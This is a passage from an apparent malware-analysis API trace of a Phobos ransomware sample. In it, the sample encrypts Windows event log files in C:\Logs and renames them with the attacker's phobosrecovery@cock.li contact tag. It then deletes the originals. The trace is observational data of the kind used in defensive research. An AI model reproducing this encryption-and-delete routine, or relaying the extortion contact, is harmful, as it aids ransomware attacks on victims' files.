[0062.522] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.522] CloseHandle (hObject=0x2e4) returned 1 [0062.522] CloseHandle (hObject=0x340) returned 1 [0062.525] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0062.526] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0062.526] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.528] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0062.528] CloseHandle (hObject=0x340) returned 1 [0062.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0062.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.529] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.529] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.529] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.529] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.529] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cf70) returned 1 [0062.530] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.530] ReadFile (in: hFile=0x340, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0062.537] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0062.537] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0062.539] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10caf0) returned 1 [0062.539] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.539] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0062.539] CryptDestroyKey (hKey=0x10caf0) returned 1 [0062.540] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0062.540] CryptDestroyKey (hKey=0x10cf70) returned 1 [0062.540] CloseHandle (hObject=0x340) returned 1 [0062.540] CloseHandle (hObject=0x2e4) returned 1 [0062.542] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0062.543] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0062.544] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.544] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0062.544] CloseHandle (hObject=0x2e4) returned 1 [0062.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0062.544] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.544] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.544] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.544] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.544] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.545] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ce70) returned 1 [0062.545] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.545] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0063.037] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0063.037] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0063.039] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d0f0) returned 1 [0063.039] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.039] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0063.039] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0063.040] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0063.040] CryptDestroyKey (hKey=0x10ce70) returned 1 [0063.040] CloseHandle (hObject=0x2e4) returned 1 [0063.040] CloseHandle (hObject=0x340) returned 1 [0063.042] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0063.044] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0063.044] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.045] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0063.045] CloseHandle (hObject=0x340) returned 1 [0063.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0063.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.045] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.045] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.045] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.045] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.045] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cbf0) returned 1 [0063.046] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.046] ReadFile (in: hFile=0x340, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0063.047] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0063.048] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0063.050] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ceb0) returned 1 [0063.050] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.050] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0063.050] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0063.050] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0063.050] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0063.050] CloseHandle (hObject=0x340) returned 1 [0063.050] CloseHandle (hObject=0x2e4) returned 1 [0063.052] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0063.054] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0063.054] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.054] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0063.054] CloseHandle (hObject=0x2e4) returned 1 [0063.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 0x20 [0063.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.055] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.055] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.055] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.055] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.056] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cb70) returned 1 [0063.056] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.056] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0063.058] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0063.058] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0063.060] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce30) returned 1 [0063.060] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.060] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0, dwBufLen=0xa0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0) returned 1 [0063.060] CryptDestroyKey (hKey=0x10ce30) returned 1 [0063.060] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x152, lpOverlapped=0x0) returned 1 [0063.060] CryptDestroyKey (hKey=0x10cb70) returned 1 [0063.060] CloseHandle (hObject=0x2e4) returned 1 [0063.060] CloseHandle (hObject=0x340) returned 1 [0063.062] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0063.064] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0063.064] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.064] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0063.064] CloseHandle (hObject=0x340) returned 1 [0063.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0063.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.064] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.064] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.065] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.065] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.065] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d1b0) returned 1 [0063.065] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.065] ReadFile (in: hFile=0x340, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0063.071] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0063.071] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0063.073] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10caf0) returned 1 [0063.073] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.073] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0063.073] CryptDestroyKey (hKey=0x10caf0) returned 1 [0063.073] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0063.073] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0063.073] CloseHandle (hObject=0x340) returned 1 [0063.073] CloseHandle (hObject=0x2e4) returned 1 [0063.076] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0063.077] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0063.077] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.078] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0063.078] CloseHandle (hObject=0x2e4) returned 1 [0063.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0063.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0063.078] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0063.078] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.078] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0063.078] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0063.078] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0063.078] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0063.078] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0063.156] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0063.156] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, 